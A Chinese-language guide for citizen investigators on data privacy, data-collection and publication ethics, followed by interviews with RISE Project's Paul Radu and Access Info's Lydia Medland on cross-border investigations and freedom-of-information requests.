许多用于调查的工具都可以在浏览器中使用，也就是所谓的云端工具。当您使用谷歌的反向图像搜索等验证工具和 Fotoforensics 等元数据查看器时，您就接受了在 “容易访问” 和 “有用的工具” 与您的信息隐私之间的权衡。

📌 您应该问一些问题来决定这种权衡是否值得：

- 当您使用这些工具和在线服务时，您是否已经放弃了对自己信息的所有权？
- 您是否知道自己的数据和可视化信息被储存于哪个国家，以及

任何人如果想要使用您的信息会受到哪些法律约束？
- 还有谁可以访问您输入到这些服务中的信息？例如，如果您使用反向图像搜索工具 TinEye，请记住，这意味着您正在将图像上传到他们的服务器。
- 当您停止使用这些工具时，您的信息会发生什么？
- 如果拥有在线工具的公司决定停止向您提供这项服务，您的数据会怎样？
- 拦截您对这些工具的使用是否会使您和您的组织面临人身危险？

📌 正如安全界的口头禅所说的那样：安全不是哪个软件的问题，而是一个系统性的工作、一套思考方式，技术是在此之上的第二步。构建最适合您的防御措施，从问对问题开始。

伦理问题

本指南最后一部分内容将简要介绍数据收集和发布数据的道德规范。我们将研究两种类型的数据收集：您自己收集的数据、和您在调查中使用的其他人收集的数据。最后一部分着眼于有关发布数据的道德考量，尤其着重于研究和监测影响的报告。

本指南介绍了证据和数据可能产生影响的许多不同例子。📌 如果我们相信证据和数据的力量，并承认它们是我们工作中的真正货币，那么就必须审查这种货币被用来破坏信任、毁坏声誉、损害个人安全或促成这种情况的可能后果。数据从来都不是中立的，这有时是它的本质，另一些时候，它的中立性取决于我们对待数据的方式。

数据经常被贴上“敏感”的标签，作为对数据的统称，这些数据由于各种原因，无论对我们来说是直观的、还是因为我们被其他人警告过，它都有可能是敏感的。同时，我们往往没有方法论来判断什么会使这种敏感度受到致命的影响，以及对谁的影响。

这种妥协可能发生在各种有意或无意的原因上，从有兴趣的个人、团体或机构愿意投入时间和资源观察正在发生的事和涉及的人、甚至在某些情况下阻止信息的公开到信息源泄露信息、甚至调查人员泄露信息源的信息。最大的妥协可能是数据的损失，因为数据的敏感性来自于其独特性，或者仅仅是数据可能无法核实，而以原始形式公布数据可能导致得出复杂的结论。

根据您的情况，您可以采取不同的策略。重要的是要考虑您处理数据的方式；如何收集、存储和共享数据，以及您选择公布证据的方式。

📌 在某些情况下，这可能意味着以非常私密的方式处理数据和消息来源，在其他情况下，以开放、公开和透明的方式工作可能会更好（可以参见这里《(公民)调查记者如何与吹哨人合作：7点提示》）或者，事实上，一旦您确定了哪些信息和行动是“敏感”的，哪些是“可公开”的，这两种策略的混合使用可能会更合适。

在制定关于如何处理信息和收集信息的安全策略时，并没有绝对正确或完全错误的答案。无论采用何种政策，重要的是：您所做的选择要建立在对背景、潜在的和未来的风险的良好理解之上，因为您的调查将成为当前环境的一部分，甚至会影响当前的环境。如果您正在调查一些具有或可能具有争议的事、调查一些没有被广泛记录的事件或行动，或者您正在收集可能提供新见解的信息时，这一点尤为重要。

处理您自己收集到的数据

不论是在线还是离线收集数据时，许多个人以及科技公司都有一个共同的倾向，那就是收集所有的数据，以备将来有用。在考虑为一个新的数据集收集数据之前，重要的是要问自己：“我需要收集的最低数据量是多少？”这个问题很可能没有一个正确的答案，重要的是要花时间真正思考您需要什么。

📌 关于如何以道德的方式进行数据调查，并没有固定的规则，因为评估风险总是针对具体情况。不过，有几件事您需要考虑：

1、研究风险评估和安全规划。

在开始收集数据之前，必须考虑到收集数据可能对您和参与调查的其他人、以及提供数据的人，造成的在线和离线风险。您的计划需要能承受所有这些风险。

2、至少是口头的知情同意。

无论是收集定性数据（如 通过访谈）还是定量数据（如 通过调查），重要的是受访者同意将他们的故事纳入数据集。请记住，人们在不知道自己同意了什么的情况下是不会同意的。

为了解决这个问题，在开始收集数据之前，一定要告诉对方您的研究目的。应告诉参与研究的人他们的预期参与时间，以及参与研究的任何可预见的潜在风险、不适或好处。

确保清楚地解释如何处理和保存纸质和数字记录，并明确谁可以访问这些记录。最后，与消息源讨论研究结果的预期用途，如果他们在数据收集后有任何问题或疑虑，应向他们提供详细的联系方法。

3、社交媒体。

进行初级案头研究的数据调查人员越来越多地从社交媒体上收集用户产生的数据。我们认为只有以道德的方式收集数据，才能使用这些数据。在没有首先获得用户同意的情况下，获取用户产生的内容可能是不道德的。

但是，如果终端用户在签署某个平台的服务条款（ToS）或终端用户许可协议（EULAs）时，已经同意自己的数据被使用和共享呢？如果终端用户没有阅读或理解他们所同意的内容怎么办？通常情况下，ToS和EULA的书写方式复杂且不清晰。作为数据调查人员，您需要认识到，用户在多大程度上能够主动同意，往往成为问题。然而，这并不意味着不应该这样做。

以巴西的“虚拟的种族主义，真实的后果”调查活动为例，该活动从Twitter和Facebook上获取仇恨言论的评论，并使用地理定位工具找出发布评论者的位置。组织者想提出一个问题：网络上的评论造成的伤害是否比直接的违法行为要小？

活动者对页面进行截图后，租下广告牌空间，将评论发布给公众看，为了保持发帖者的匿名性，他们采取了像素化遮盖用户姓名和头像照片的预防措施。用户发布仇恨言论是自愿的，但并不一定同意自己的文字和图片被公开张贴在广告牌上。

「图」

「图」

Virtual Racism, Real Consequences 在巴西制作的广告牌之一

4、支持性的采访方式。

有时接受采访对被采访者来说很困难，特别是在提出暴力问题和结构性压迫的情况下。要确保您的提问风格是开放的、支持性的，并询问您的消息来源对采访中提出的问题有什么感受。作为一个采访者，您的工作是坚持心理医生的模式，而不是审讯的模式。

5、灵活变动的规划。

与支持性的采访方式相关的是确保被采访者在接受访谈时感到身体安全。一定要询问与您交谈的人在什么地方、什么时间交谈能感觉最舒服，并灵活地改变地点，以适应采访对象不断变化的日程或安全考虑。

6、保密和匿名的数据收集做法。

参与研究项目的人及其分享的信息的安全和保障至关重要。考虑如何在访谈期间和之后记录信息，即使您不使用录音设备。确保对采访进行编辑，以免泄露被采访者的姓名，并随时将所有数字录音设备放在身上，以防止被陌生人接触。

此外，作为数据调查人员，一旦您有了数据集，就要考虑如何持有和分享这些数据。可以通过发布数据集来提高透明度，但与此同时，数据往往可以被去匿名化，这意味着发布数据集可能会使人们面临额外的在线或离线风险，两者之间存在着矛盾。您需要权衡。

7、保持数据输入的一致性。

无论有意还是无意，界定标记系统、索引系统和将数据置于背景中，都必然会造成数据调查人员的个人偏见。想想数据是如何解释的？—— 它代表了输入数据的人做出的判断。

比如某个侵犯人权行为是否涉及“中度暴力”还是“严重暴力”，这在法庭上将有着完全不同的结果。📌 重要的是要考虑您是否有明确的指导原则来帮助合作者遵循一致的标准，并有程序来检查所有输入数据的人是否以同样的方式应用这一标准了。

您可以通过以下方式解决这个问题：

- 一个“双重输入”系统，同一数据由两个人分别输入。当出现差异时，数据会被标记为“有问题”。
- 定期开会，让处理数据的人讨论不同的数据和应该如何输入数据。
- 安排专门的人来输入需要一些专业知识的特定领域的数据。

处理其他人收集到的数据

2015年10月13日，欧洲边境机构 Frontex 在推特上发布消息称，”今年前9个月跨越欧盟外部边境的移民总数上升到71万多人”,接着说，这个数字远远高于2014年全年的28.2万人。

「图」

「图」

在要求研究人员澄清他们的方法后，Frontex 回复说，他们对每次越过边界的移民都进行了统计。“非正常的越境可能由同一个人在边境的不同地点多次尝试”，该机构表示，“这意味着，可能有更多的人在抵达希腊时被统计，在第二次通过匈牙利或克罗地亚进入欧盟时再次被统计”。不过，新闻机构在报道中不太可能分享这一方法说明，他们只是直接引述数字。因此，对 Frontex 报告的新闻报道大大夸大了实际进入欧盟的人数。

做数据调查的公民并不总是有时间、资源或技能来进行自己的研究或创建新的数据集。相反，调查人员最常看到的是基于其他人汇编的现有数据集，这些数据集可能也可能不会剥离个人身份信息或在汇总层面上公布。

📌 在使用他人编制的数据集时，您需要考虑的是，数据集的索引、分类和汇总并不总是中立的，数据集可能并不能描述您所假设的情况。在进行数据调查时，要对您所使用的数据进行批判性思考。

研究报告

由于 Mark Duggan 被大都会警察打死，2011年8月，英国伦敦的一些街区和城镇陷入了为期五天的骚乱。超过 3,100 人被捕，其中 1,000 多人被起诉。据一些人估计，与骚乱有关的大范围抢劫、纵火、以及私人和警察财产的破坏造成了超过2亿英镑的损失。

在骚乱发生后，来自卫报和伦敦经济学院的研究团队进行了一项调查，以更好地了解那些参与的人是谁、在哪里，他们是否参与了暴力、纵火和袭击警察或抢劫，他们是如何上街的，他们这样做的动机是什么，以及他们对自己的行为和发生的事有什么感受。

研究人员联系了1000多名在骚乱期间被逮捕和被指控的人。但绝大多数情况下，研究人员与他们通过口耳相传找到的参与者进行了交谈 —— 这些人参与了骚乱，但没有被起诉。

「图」

「图」

Kerim Okten/EPA拍摄的骚乱第三天的图像

📌这带来了道德挑战：在进行研究时，警方仍在继续逮捕和指控他们怀疑参与暴力的个人。一方面，参与者希望与研究人员分享他们参与的原因；另一方面，研究人员不想让这些参与者因为参与项目而面临被起诉的风险。

在这个案例中，研究人员事实上确实经过了正式的伦理审查委员会，但我们之所以强调这项研究，是因为他们以一种有趣的方式处理了这些伦理问题。

虽然研究人员确实收集了基本的人口统计数据，以确定参与人员的背景，但他们告诉参与者他们正在进行的研究，并确保参与者保持匿名。

研究人员还努力确保了参与者尽可能感到舒适。他们经常在参与者的家中或在青年中心、咖啡馆、餐馆和快餐店进行访谈—— 在这些地方，接受访谈的人感到舒适，不会使他们面临额外的风险。

研究人员在卫报上发表了一系列在线文章和报告，在全球范围内介绍了研究结果。鉴于有必要“回馈”那些参与研究的人，同时也要创造一个空间，让那些不同意研究结果的人能够表达他们的关切，因此，在受骚乱影响最大的七个社区组织了一系列市政厅式的辩论会。辩论会有600多人参加。

📌 在项目结束时，向那些参与研究过程的人展示研究结果往往很重要。例如，研讨会可以为研究者和研究参与者提供一个反思的空间，也可以为参与者向研究者提供反馈的空间。然而，在某些情况下，与参与人员分享研究结果可能会潜在地增加参与人员的线上和线下风险。在决定如何去做外展工作时，考虑背景很重要。

监测调查的影响 —— 它起作用了吗？

“视频促进变革”是一个全球视频倡导项目网络，它制定了一个道德框架和一套原则，在这个框架和原则中，可以评估非政府组织所做的复杂工作。

他们发现，大多数非政府组织在确定影响时，往往注重外联措施，而不是视频倡导的过程和做法、参与和与社区接触以及问责制。Video for Change 发现，这部分是由于新技术和新实践能够衡量活动家工作的被接受度和受众群，包括统计有多少人观看了作品，观众在哪里，观众用什么类型的设备观看材料，观众是如何看到材料的等等。

仅仅依靠量化指标进行效果评估，从资金的角度来看是危险的，从数据调查的角度来看也同样是危险的。然而，如果没有量化的数据，我们就会面临一系列的问题。作为调查人员，如何知道自己所做的事情是有效的？

📌 您如何确定您的研究作为一种干预措施，是否对您合作的社区产生了 (积极或消极) 影响？您作为人权维护者，要对谁负责？

从研究和材料的规模和范围来看，研究和材料的吸收对确定一个特定项目的成功很重要。然而，也需要其他的影响评估措施。在他们的道德准则中，“视频促进变革” 组织问道，如果 “视频所要支持的人因制作视频而无意中受到伤害或阻碍，或者视频所要支持的社区反对发布视频，并认为视频不公正地描述或代表了他们，怎么办？”，基于倡导的实践者研究的这一要素需要强大的伦理成分。

对于像 “视频促进变革” 这样的网络来说，与社区的关系并不是保持客观的距离，他们工作的力量来自于参与、分享和介入。因此，对与他们合作的社区负责既是他们道德实践的一部分，也是他们衡量其影响的标准。

资源：

- Engine Room 运行的 “负责任的数据论坛”，这是一项协作工作，旨在开发有用的工具和策略，以应对数据驱动的倡导面临的道德、安全和隐私挑战。从数据保留到数据可视化，他们在 **如何负责任地使用数据** 方面拥有大量宝贵的资源。
- Gabriella Coleman, Coding Freedom: The Ethics and Aesthetics of Hacking（可下载）
- Jacob Metcalf. Ethics codes: History, context, and challenges（可下载）
- Universal principles of data ethics 12 guidelines for developing ethics codes（可下载）

到此，本指南的主体部分已经完成，希望它可以对您有所帮助。本指南是一个通览式的说明，类似我们正在进行中的 “整体安全” 教程，

旨在将我们曾经提供的分散的细节知识串联起来 —— 关于：当您想要做一件事时，从头至尾您应该如何考虑。于是，您可以从其中关联的文章和资源中获得更多详细的说明。

我们将在休息期结束后继续该系列的内容，补充更多辅助知识及具体调查案例。我们明年见！○

公民调查人员如何使用马格尼茨基法案申请制裁人权侵犯者：**https://safeguarddefenders.com/sites/default/files/pdf/MAG%20CN%201-page.pdf**

Decoding Data

原文

"信息就是我们的货币"：解码秘密（5）- 公民获取信息权利运动 - iYouPort

解码秘密

从信息自由到真正的问责制

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》

在前4集中我们已经完成了该指南的主体部分，从本集开始我们将补充一些经验性的内容，来自成功的公民独立调查人员和组织的讲述，希望可以帮助激发您的灵感。

本集中第一个出场的是公民调查记者 Paul Radu，他讲述了公民调查的优势。去年底一个轰动的消息是 “中国人因帮助墨西哥毒枭洗钱而被判刑”，对此类事件的调查正是 Paul Radu 最擅长的事。

不止洗钱贩毒的案件，更为普遍的是人权案件，公民独立调查的确可以通过与国际权利组织合作以获得更大的效力。

【注】RISE Project 是一家罗马尼亚非营利性新闻组织，由一群调查

记者，活动家，程序员和平面设计师于2012年初创立。RISE项目使用研究技巧和技术来生成有关本地和跨境有组织犯罪和腐败网络的复杂调查报告。它制作调查性新闻和可视化数据库，并开发和研究数据可视化工具，例如 “可视化调查方案” 平台。Paul Radu 是该项目的负责人。

「图」

「图」

一小群人就能胜过一个大型执法机构吗？有人认为可以。在警察受到国界和外交限制的地方，独立的公民调查人员可以跨越国家和大陆自由工作。在数字时代，这种灵活性使公民成为最强大的变革力量。

以下是对 Paul Radu 的访谈。

你们所做的工作与其他机构的工作有何不同？这些机构的工作都是揭露组织和个人缺乏透明度和问责制。

PR：执法机构应该打击跨国界的有组织犯罪和腐败，但它们是国家机构。它们的工作通常只停留在本国的边界，并不能很好地进行跨界合作。

例如，如果罗马尼亚的检察机关想与巴拿马合作，从他们那里得到一些记录，至少要花一年的时间才能做到。他们必须成立一个委员会，并通过外交渠道；这需要很多时间。此外，即使罗马尼亚检察官的请求到达巴拿马检察官的办公桌上，巴拿马检察官也可能有其他更紧迫的事要做。

「图」

「图」

于是，罗马尼亚检察官的要求会被归入一大堆文件的最底层，需要很长很长的时间来解决。有组织犯罪可不是这样工作的。这些人的工作速度很快，他们可以很好地跨越边界，他们不在乎语言、宗教或社会冲突。他们利用所有这些东西，然后赚很多钱。

以一个在美国和伊朗活动的有组织犯罪集团为例：你认为美国的执法部门会与伊朗的执法部门合作吗？我想不会。但对于有组织犯罪来说，对于来自伊朗和美国的犯罪分子来说，合作是非常容易的。

这就是我们的不同之处，我们的行动速度和有组织犯罪的速度是一样的。

在某种程度上，我们正在复制他们的模式。我们没有他们的钱，也没有他们的工具，但我们正试图复制他们正在做的事 —— 我们试图建立自己的跨境网络，信息就是我们的货币。他们的货币是现实货币或虚拟加密货币，但对我们来说，货币是信息 —— 我们能够击垮他们，因为我们的速度非常快。

您认为执法机构会受到您的调查记者网络运作方式的启发吗？

PR：我们有时会遇到检察官，例如在会议上，他们总是惊讶于我们（采用开源情报）可以在几秒钟内获得公司的记录，它是如此简单。

现在我们要做的是把这些工具提供给公众，因为这些工具是任何人都可以使用的。当然，有组织犯罪也可以使用这些工具。而检察官们，当他们看到这些的时候，就会觉得“哇，这太酷了”。

当然，他们无法在法庭上使用这些信息，但这将有助于他们调查的初始阶段收集信息，因为他们知道可以在哪里寻找信息。而不是跑去问巴拿马的那个检察官：“嘿，你能不能查查这个人在巴拿马有没有公司？”，他们其实可以精确地指出：“我需要这个特定公司的记录”，这样会让事情变得更快。目前他们不这样工作，他们继续用老办法思考。

另一个大问题是，执法总是止于边界。这些机构有国家利益，它们对市长、总统、政府作出反应，而不是对公民。这些官员希望迅速取得政绩，他们希望现在就解决某个问题。如果他们破获了一批可卡因，他们就会很高兴，这就是“大案”。

但与此同时，钱却继续通过贩卖人口、贩卖毒品、和其他犯罪途径流向整个地区。这些钱之所以能自由流动，是因为执法机构没有能力进行调查，他们没有全面的了解 —— 他们没有看到整个情况。他们偶尔会捣毁一些犯罪网络，但这还远远不够，因为如果你只是把该网络中的一些小娄娄关进了监狱，缺了这些小娄娄该网络仍然会生存和发展。

您对特定故事的实际了解与最终发表的调查报告之间的比率是多少？

PR：我们只向公众提供证据确凿的信息，因为当你在调查权贵和腐败分子时，会有很多利益集团在其中运作。我们总是专注于文件中的确

凿证据，但当我们发布调查报告时，我们也会添加一些视觉元素，通常这些视觉化的内容比故事的文字更多。

例如，如果我们揭露某个人参与了某项腐败交易，那么在文本中，我们只包含一句话来说明这一点，但在可视化中，则包含了这个人成立的所有其他公司，他或她的同伙关系等等。

我们用可视化的方式来提供额外的信息，不做任何假设。我们包含的数据都来自公共领域；我们把它们放到可视化表述中，因为我们已经调查了所有这些细节。

调查报告的主要信息在文本中，视觉效果只是为主要信息提供支持。但有时，这也是调查性报道的问题之一，你最终使用的信息可能很少。

我们想利用更多我们所知道的东西，这就是为什么我们要为所有有确凿证据的东西创建可视化。有时，我们得到了很多证据，却只在书面报告中使用了其中一小部分，但其他看到你的可视化的人却能从这些额外的事实中找到价值。信息对不同的人有不同的价值。

「图」

「图」

其他国家的人会使用您的可视化报告吗？

PR：就在去年，我们发表了一篇关于叙利亚统治者巴沙尔·阿萨德及其在罗马尼亚、奥地利和其他地方投资的报道。我们还制作了他的亲信在其中拥有利益的公司的可视化调查。

在罗马尼亚的环境中，这些信息对我们来说并不重要，但事实证明，对奥地利人来说，这些信息非常重要。因此，奥地利公共电视台ORF与我们联系，他们说："我们想了解更多情况，因为这些公司在奥地利很活跃"。

在不同的地理环境下，与某一特定地点相关的信息会有很多意义。这是我们经常玩的东西。在某种程度上，这就是众包，但它并不是定向的。我们把事实公布出来，让它们可以被进一步使用。

让读者不仅可以访问您发表的调查报告，还可以访问已收集的所有资料和文档，对您来说有多重要？

PR：在Rise，我们做了很多实验，并试图寻找新的方式来体现调查性报道。我们正在创造长期的故事，它们可以持续很长时间而不失去价值，因为它们是基于深入的研究。我们总是在报道中加入小型数据库或可视化，为所提及的实体编制索引，因为我们希望读者有尽可能多的切入点来了解调查性报道。

当然，现在最好的一个切入点就是搜索引擎。人们都会使用搜索引擎来查询实体、名称、公司名称等。这也是为什么我们在调查中不仅要对所有的名称进行索引，还要将其可视化。

比如，在 Rise 项目中，我们使用了一种可视化的形式，将个人、公司、诉讼进行映射。仅仅是包含这三种类型的数据，实际上就增加了一层额外的信息，我们可以给每一个实体附加一个故事本身所没有的描述。

我们不想用这么多额外的信息来加重书面报道的负担，但如果人们有兴趣了解更多关于这些个人、这些公司、或这些法庭案件的信息，他们依旧可以在这里找到，这是另一个切入点。

Rise 的可视化图表获得了很多点击率。其中一些可视化图还包含了我们从来源处获得的真实文件传真的获取入口。我们的理念是“将一切可视化”，因此，Rise 计划的网站上每项调查都有这些动态的可视化。

「图」

「图」

从信息自由到真正的责任制

【注】Access Info 是一家位于西班牙马德里的非政府组织，致力于捍卫和促进欧洲的信息自由，以此作为打击政府腐败的工具。下面的对话来自与 Access Info 合作多年的公民调查人员 Lydia Medland。

她在这里讲述了她支持公民行使信息获取权的工作，以及近年来在 Wikileaks 和 Open Government Partnership 等透明度革命运动的推动下，这一努力是如何发展的。但她强调，除了对透明度法律“鼓掌”之外，更重要的是正确的执行法律和确立真正的问责制。

和我们说说为什么你要选择做信息工作？

LM：因为我们希望与那些试图推动进步、创造变革的人合作。很多

时候，你所掌握的信息量决定了你在推动变革时手里能有多少牌。

有了更多的信息，社区和组织就更有能力去改变他们认为必要的事，从而使他们能够生活在更加公正的社会中。

与政府主动提供信息相比，公民访问信息领域有什么好处？

LM：信息的获取不仅对公民有用，当政府以开放的方式接受信息时，他们往往发现信息对他们也有用。通常情况下，信息的获取会帮助他们重新设计和思考如何在内部进行组织。另一种有用的方式是信息发布后的意外使用。有时，当大数据集被公开后，公民调查、记者或公司会以一种对所有人都有用的方式重新使用它。

当伦敦自行车事故的信息被发布后，市民利用这些信息构建了伦敦骑车者的热点和危险区域地图，进而告知伦敦交通局需要优先考虑哪些区域，使城市更加安全。

您如何处理信息？

LM：我们正在研究的问题是“公民获取信息”，也称为“信息自由”。它是关于试图获取政府信息和公共机构掌握的信息。其背后的逻辑是，政府服务于社区和公民，因此，他们所掌握的信息并不只属于他们。

政府掌握的信息实际上是属于人民、公民的。正如联合国、欧盟和各种国际法庭所承认的那样，公民有权获取这些信息。

我们开展了各种不同的项目，帮助公民获得这些信息。在某些情况下，我们提出有关具体的侵犯人权行为相关信息的要求。在其他情况下，我们帮助建立平台，使公民更容易提出信息请求。而在其他情况下，我们只是试图捍卫国际标准，推动制定更好的法律，使公民更容易获得信息。

过去5到10年间发生了什么变化？信息在20年前，50年前就已经存在了，但是我们不知何故改变了我们谈论它的方式 …

LM：过去十年发生了很多事，过去五年可能发生的事更多。首先，互联网创造了各种可能性，为公民、活动家和政府本身打开了局面。于是，我们突然看到传统的人们开始要求信息自由，争取信息权 ——不仅仅是要求一份文件，而是要求一整组数据。

这可能意味着，我现在可以要求一个公开的 Excel 文档，而不是通过

邮局收到一封列有所需信息的信件。这意味着，我可以重新使用信息，并以比以前更强大的方式创建权利运动的倡导。

在过去的五到十年里，另一个重大的变化是信息获取权得到了更大程度的认可。印度、墨西哥等国家，东欧的许多国家，甚至是英国、奥地利、瑞士等一些中西欧国家，在2000年之前仍然不承认这一权利。那之后联合国承认它是一项基本人权。所以现在已经有了一个非常强大的共识和法律支持，可以说 —— “是的，这是一项权利，我们这些公民应该有更多的机会获取政府信息”。

公民获取信息与不断增长的政府公开数据之间有什么联系？

LM：信息的获取其实是源于我们自由表达自己的权利。每天我们通过网络媒体和各种不同的论坛，越来越多地以网络形式来表达自己。但正如人们表达自己的方式发生了变化，人们希望获得信息的方式也发生了变化。

简单说，获取信息的权利已经发生了变化 —— 它不仅仅是获取文件的权利(因为我们不仅仅是把信息当作文件来处理)，而是一种获取我们使用信息的所有其他方式的权利，以及获取政府和公共机构如何持有我们信息的权利。

我们不只是想要一个单页的文件，我们想要一个开放的文件，我们可以重复使用和工作。

争取这项法律权利的人和技术专家之间有很大的协同作用，他们帮助我们了解他们到底需要什么，以便我们从政府那里得到的信息对他们有用。我们也已经接受了他们的一些信息，比如说，需要以机器可读的格式提供信息，这样我们在起草信息自由法的时候，就会将这些要求纳入其中。

不同类型的人和社区为实现真正的、深入的言论自由而努力，这真的是非常吸引人的工作。

公民信息获取有什么过人之处？

LM：也许过人之处是一种假设，即 一旦信息被发布，信息就会自己完成一切工作。但这不是事实。一旦信息被发布，它就需要被获取；如果它不能被访问，就很可能不会被使用。另一件事是，政府的数据门户，它得到了很多宣传，但有时包含的数据很少。

但您应该知道，仅仅有信息可供查阅，并不一定意味着问责的发生或

对腐败的打击。我们需要与真正使用信息的人合作，以打击腐败。

「图」

「图」

让我们专注于非常特定的群体 —— 活动家。这些政府信息对活动家群体有何用处？

LM：活动家尤其需要信息，这样他们就可以表明什么是错的，什么是他们希望发生的。从本质上讲，他们需要一个论点背后的证据，这样他们就可以证明他们的论点不仅仅是观点，而是基于事实和证据。对于那些想在法庭上或在一个需要可信信息的环境中为自己的立场辩护的人来说，公民信息获取权通常是一个很好的资源。

信息获取请求往往可以成为其他形式信息的一个非常好的补充。例如，我们根据其他信息来源申请了很多关于飞往关塔那摩湾的航班的信息，而这些信息是非常定性和主观的。信息公开申请的结果有时可以证实吹哨人或证人的证词或报告。它可以是使案件进入法庭的最后一件事，或使政府注意到某项运动。

在行使自由权和知情权方面，您有多深入？您会在多大程度上突破道德界限以获取重要信息？

LM：公民获取信息真的很有用的一个原因是，它不需要明显跨越道德界限。这是一种普遍受到法律保护的东西。在全世界 95 个国家中都具有某种法律认可的权利允许公民向政府索取信息，而且它往往可以让你证明你没有违反规则，因为这实际上是政府给你的信息。它已经在法律上被证明合理了。

我们有一个项目叫 Legal Leaks ，为记者服务。获取信息对记者来说是很有用的，作为补充文件，或者作为一种吹哨的替代。

在一些国家，记者获得信息的整个基础设施是基于联系人。因此，如果你是一个记者，不想和政客交朋友，也不想被当作人情来提供信息，你可以使用信息获取权。你不必为了得到它而去和政客吃饭，或者和政府中的某个高官成为朋友，以某种方式行事。

在一些国家，我们正试图改变记者和活动家获取信息的文化，打破这些阶级问题。这是一种观点的改变，有时获取信息的途径也会对此有所帮助。

我还想到了另外两个问题。一是公民对信息的获取最好与大量的创意相结合。当我们在考虑信息请求时，经常会想到会议记录、或合同、或实物文件。但你也可以要求提供图像或镜头。例如，我们曾见过纪录片制作者向美国海军索取资料的案例，得到了几十年前拍摄的现已解密的原始录像，这些录像当时被用于关塔那摩湾航班项目。

我们还向空中交管人员询问航班是否经过了他们的领空，这完全是合法的信息，但可能不是你原来所想的那种信息 —— 直接通过泄漏得到的信息。

【注：简单说，她所指的是通过使用公民获取信息权分多方面收集信息，然后将这些信息汇总为一个独立调查项目的证据；而不是像吹哨人所做的那样，一次性揭露一切 —— 当没有吹哨人、尤其是当权者对透明度革命的镇压力度无限上升的情况下，这种方法也许可以作为一种替代方案。活动家无需因遭受严重打击而停止工作，如果一条路堵死了，那就另辟一条路。】

如今整个世界都已经在线，公民调查也需要思考公共机构内部掌握的信息是什么形式，您可能要索取图片，索取电子邮件，或者索取他们的内部服务。

最后是向那些不以民主传统著称的国家索取信息的情况。最初我很害怕，如果我向某个国家提出信息请求，他们可能会开始研究我要干什么。但我不得不提醒自己 —— “我不是一个人在这里。我在一个联盟网络中工作。” 从事公民信息获取工作的人真的很有网络感。有一个"信息自由倡导者网络"，它连接着500多个公民调查者。

所以，我通常可以发现一个请求是否会突出我个人。到目前为止，我还没有遇到任何形式的人身危险或监视。我们知道有些国家的活动家就没有这么幸运了，在那些国家，仅仅利用知情权法，或者是信息获取法，就会让活动家们陷入危险之中。但我再次认为，这可以通过分享更多信息和与国际联盟网络合作来缓解。

那么，联合国内不承认信息访问权的那*100*个国家呢？

LM：对于那些没有信息获取法的国家，我们采用了几种策略。一种是为制定法律而开展宣传活动，另一种是在没有法律的情况下提出索取信息的要求，并将当局拒绝提供信息的行为告上法庭。

在拉丁美洲有一个著名的案件，即 Claude Reyes 诉智利案。一些活动家要求提供信息，在这个案例中是环境方面的信息，智利政府没有

给活动家任何信息。但是，这些活动家去了地区人权法院，法院承认，在智利政府的义务范围内，根据言论自由原则，智利当局应该对这一请求作出回应，而且，应该制定一项公民获取信息的法律。

因此，即使在这些国家，你也可以采取一些步骤来尝试推动这一进程。从某种程度上说，这是过去十年左右从事信息自由工作的人的基本任务。所有这些工作的结果就是在很多国家都通过了信息自由法律。我们已经达到了95个国家，而且每年都会有更多的法律出台。

我们现在的第一或第二优先事项是开始监督执行工作，确保各国政府不只是为了获得世界其他国家的掌声而通过这些法律，而是真正尊重这项公民权利。

公司、私营企业和其他实体拥有大量信息，并且信息法的不总是能覆盖他们。考虑到这些公司有时比政府还要大的事实（比如美国那样），您如何处理？

LM：公民信息获取和其他工具一样，也有其限制。其中最大的限制是，虽然对于公共信息来说，它被认为是重要的，但对于企业信息来说，它却不被认可。虽然也有例外。

活动家们现在要做的另一件事就是试图推动这个界限，看看我们是否能建立一个获取企业信息的公民权利。目前，如果公司提供的是公共服务，它们可能属于信息获取法的管辖范围。例如，最近私有化的自来水公司可能很容易被纳入信息公开法的范围，所以我主张他们应该对信息请求作出回应。

但这是一个威胁，因为有越来越多的私有化案例，越来越多的公共职能由非政府组织和公司执行。这是一个非常重要的问题。在南非，法律中其实有一条规定，允许在怀疑有侵犯人权行为的情况下提出请求。也可以要求企业实体提供可能与腐败有关的信息。这些都是我们可以尝试并进一步推动的事，但本质上这是一种限制。

还有一些策略，你可以通过向政府索取信息来获取企业的信息。比如说有更多的人认识到，我应该能够获得政府官员或者政治家的会议记录、或者议程。所以我经常可以要求获取总统在做什么，或者某个部长在做什么的议程，于是我应该能够看到他们什么时候和大公司开会。这可能会对我的调查有所帮助，即使这是对企业的调查，而不是对政府的调查。

目前发生的另一件大事是推动更多关于公司实际所有权的信息被公

开。所以公司在自己注册的时候，也必须提供该公司的实际所有人的信息。这也是我们希望开展更多工作的一个领域，试图获取世界各地公司注册的全貌。

如今//吹哨平台//的崛起有没有改变你的看法？

LM：也许最大的游戏规则改变者是 Wikileaks 。在这之后，Open Government Partnership 被推出，一个巨大的运动开始了，政府不得不显示他们的透明度和对开放数据的支持。这是解决全球围绕政府变态保密行为的辩论所引出的问题的一种方式。

从某种程度上来说，这个游戏规则的改变对于让更多的访问和更多的数据出现，产生了非常积极的影响。另一方面，也是我们值得思考的地方，那就是对吹哨人的保护是否也得到了改善，这是我们真正希望看到的。虽然我们认为公民应该永远有获取信息和寻求透明度的权利，因为这是对黑客或吹哨需求的一种解救，但是，政府往往对保密有偏执的追求，于是我们必须强调吹哨人必须永远受到保护。

不论采取什么方式，更多的信息被公布出来其本身就有预防腐败的作用。当政客知道自己的信息将被公布时，他们就会对自己的行为作出更谨慎的决定。

您说信息不能说明一切。那么，应该如何处理信息，以及应该由谁来处理，以便一旦公开，信息就可以说话？

LM：为了确保信息一旦进入公共领域就能发挥其作用，而不至于被忽视，我们可以从第一阶段开始，即 与对其感兴趣的人接触。这意味着要与专家交谈，询问信息需要以什么形式出现才会有用。

如果你的工作是为了获取人权信息，就需要与人权组织交谈，并询问——“这些信息在哪里帮助你们？这个工具在哪里可以对你们有用？”这就是我们开始与调查移民拘留问题的组织合作的地方，因为这些人拥有已经在公共领域的信息，但他们真正感兴趣的是获得可能还没有出现在公共领域的信息。

